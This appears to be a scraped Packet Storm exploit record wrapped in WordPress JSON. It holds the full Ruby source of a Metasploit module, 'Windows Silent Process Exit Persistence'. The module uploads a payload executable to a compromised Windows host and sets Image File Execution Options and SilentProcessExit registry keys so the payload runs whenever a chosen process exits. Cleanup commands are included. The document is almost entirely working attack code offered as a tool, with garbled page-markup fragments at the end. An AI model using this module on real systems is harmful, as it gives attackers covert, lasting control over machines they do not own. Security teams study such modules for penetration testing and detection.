{“lastseen”:”2025-09-29T16:17:40″,”description”:”Windows allows you to set up a debug…”,”published”:”2025-09-29T00:00:00″,”modified”:”2025-09-29T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Windows Silent Process Exit Persistence”,”source”:””,”references”:””,”id”:”PACKETSTORM:209967″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Local\\n Rank = ExcellentRanking\\n \\n include Msf::Post::Windows::Registry\\n include Msf::Post::File\\n include Msf::Exploit::EXE\\n include Msf::Post::Windows::Priv\\n include Msf::Exploit::Local::Persistence\\n prepend Msf::Exploit::Remote::AutoCheck\\n include Msf::Exploit::Deprecated\\n moved_from ‘exploits\/windows\/local\/persistence_image_exec_options’\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Windows Silent Process Exit Persistence’,\\n ‘Description’ =\\u003e %q{\\n Windows allows you to set up a debug process when a process exits.\\n This module uploads a payload and declares that it is the debug\\n process to launch when a specified process exits.\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘Mithun Shanbhag’, # earliest author found\\n ‘bwatters-r7’, # msf module\\n ],\\n ‘Platform’ =\\u003e [ ‘win’ ],\\n ‘SessionTypes’ =\\u003e [ ‘meterpreter’ ],\\n ‘Targets’ =\\u003e [\\n [ ‘Automatic’, {} ]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘DisclosureDate’ =\\u003e ‘2008-06-28’,\\n ‘Privileged’ =\\u003e true,\\n ‘References’ =\\u003e [\\n [‘ATT\\u0026CK’, Mitre::Attack::Technique::T1183_IMAGE_FILE_EXECUTION_OPTIONS_INJECTION],\\n [‘URL’, ‘https:\/\/blogs.msdn.microsoft.com\/mithuns\/2010\/03\/24\/image-file-execution-options-ifeo\/’]\\n ],\\n ‘Compat’ =\\u003e {\\n ‘Meterpreter’ =\\u003e {\\n ‘Commands’ =\\u003e %w[\\n stdapi_sys_config_getenv\\n ]\\n }\\n },\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION, EVENT_DEPENDENT],\\n ‘SideEffects’ =\\u003e [ARTIFACTS_ON_DISK, CONFIG_CHANGES]\\n }\\n )\\n )\\n register_options([\\n OptString.new(‘PAYLOAD_NAME’,\\n [false, ‘The filename for the payload to be used on the target host (%RAND%.exe by default).’, nil]),\\n OptString.new(‘IMAGE_FILE’, [true, ‘Binary to \\”debug\\”‘, nil])\\n \\n ])\\n end\\n \\n def writable_dir\\n d = super\\n return session.sys.config.getenv(d) if d.start_with?(‘%’)\\n \\n d\\n end\\n \\n def check\\n print_warning(‘Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.’) if datastore[‘WritableDir’].start_with?(‘%TEMP%’) # check the original value\\n return CheckCode::Safe(\\”#{writable_dir} doesnt exist\\”) unless exists?(writable_dir)\\n \\n return CheckCode::Safe(‘You must be System to run this Module’) unless is_system?\\n \\n CheckCode::Appears(‘Likely exploitable’)\\n end\\n \\n def upload_payload(dest_pathname)\\n payload_exe = generate_payload_exe\\n write_file(dest_pathname, payload_exe)\\n vprint_status(\\”Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo[‘Computer’]} to #{dest_pathname}\\”)\\n end\\n \\n def validate_active_host\\n unless is_system?\\n fail_with(Failure::NoAccess, ‘You must be System to run this Module’)\\n end\\n \\n begin\\n print_status(\\”Attempting Persistence on #{sysinfo[‘Computer’]} via session ID: #{datastore[‘SESSION’]}\\”)\\n rescue Rex::Post::Meterpreter::RequestError =\\u003e e\\n elog(e)\\n raise Msf::Exploit::Failed, ‘Could not connect to session’\\n end\\n end\\n \\n def write_reg_keys(image_file, payload_pathname)\\n reg_keys = []\\n reg_keys.push(key_name: \\”HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows NT\\\\\\\\CurrentVersion\\\\\\\\Image File Execution Options\\\\\\\\#{image_file}\\”,\\n value_name: ‘GlobalFlag’,\\n type: ‘REG_DWORD’,\\n value_value: 512)\\n reg_keys.push(key_name: \\”HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows NT\\\\\\\\CurrentVersion\\\\\\\\SilentProcessExit\\\\\\\\#{image_file}\\”,\\n value_name: ‘ReportingMode’,\\n type: ‘REG_DWORD’,\\n value_value: 1)\\n reg_keys.push(key_name: \\”HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows NT\\\\\\\\CurrentVersion\\\\\\\\SilentProcessExit\\\\\\\\#{image_file}\\”,\\n value_name: ‘MonitorProcess’,\\n type: ‘REG_SZ’,\\n value_value: payload_pathname)\\n silent_process_exit_key = ‘HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows NT\\\\\\\\CurrentVersion\\\\\\\\SilentProcessExit’\\n registry_createkey(silent_process_exit_key) unless registry_key_exist?(silent_process_exit_key)\\n reg_keys.each do |key|\\n registry_createkey(key[:key_name]) unless registry_key_exist?(key[:key_name])\\n vprint_status(\\”Writing #{key[:value_name]} to #{key[:key_name]}\\”)\\n registry_setvaldata(key[:key_name], key[:value_name], key[:value_value], key[:type])\\n unless registry_getvalinfo(key[:key_name], key[:value_name])\\n print_error(\\”Failed to set #{key[:value_name]} for #{key[:key_name]}\\”)\\n return false\\n end\\n end\\n end\\n \\n def install_persistence\\n validate_active_host\\n payload_name = datastore[‘PAYLOAD_NAME’] || Rex::Text.rand_text_alpha((rand(6..13)))\\n temp_path = writable_dir\\n image_file = datastore[‘IMAGE_FILE’]\\n payload_pathname = temp_path + ‘\\\\\\\\’ + payload_name + ‘.exe’\\n vprint_status(\\”Payload pathname = #{payload_pathname}\\”)\\n upload_payload(payload_pathname) if write_reg_keys(image_file, payload_pathname)\\n @clean_up_rc \\u003c\\u003c \\”rm #{payload_pathname}\\\\n\\”\\n @clean_up_rc \\u003c\\u003c \\”execute -f cmd.exe -a \\\\\\”\/c reg delete \\\\\\”HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows NT\\\\\\\\CurrentVersion\\\\\\\\Image File Execution Options\\\\\\\\#{image_file}\\\\\\” \/v GlobalFlag \/f\\\\\\” -H\\\\n\\”\\n @clean_up_rc \\u003c\\u003c \\”execute -f cmd.exe -a \\\\\\”\/c reg delete \\\\\\”HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows NT\\\\\\\\CurrentVersion\\\\\\\\SilentProcessExit\\\\\\\\#{image_file}\\\\\\” \/v ReportingMode \/f\\\\\\” -H\\\\n\\”\\n @clean_up_rc \\u003c\\u003c \\”execute -f cmd.exe -a \\\\\\”\/c reg delete \\\\\\”HKLM\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows NT\\\\\\\\CurrentVersion\\\\\\\\SilentProcessExit\\\\\\\\#{image_file}\\\\\\” \/v MonitorProcess \/f\\\\\\” -H\\\\n\\”\\n end\\n end”,”sourceHref”:”https:\/\/packetstorm.news\/download\/209967″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/209967\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-09-29T16:17:40″,”description”:”Windows allows you to set up a debug…”,”published”:”2025-09-29T00:00:00″,”modified”:”2025-09-29T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Windows Silent Process Exit Persistence”,”source”:””,”references”:””,”id”:”PACKETSTORM:209967″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-19525","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n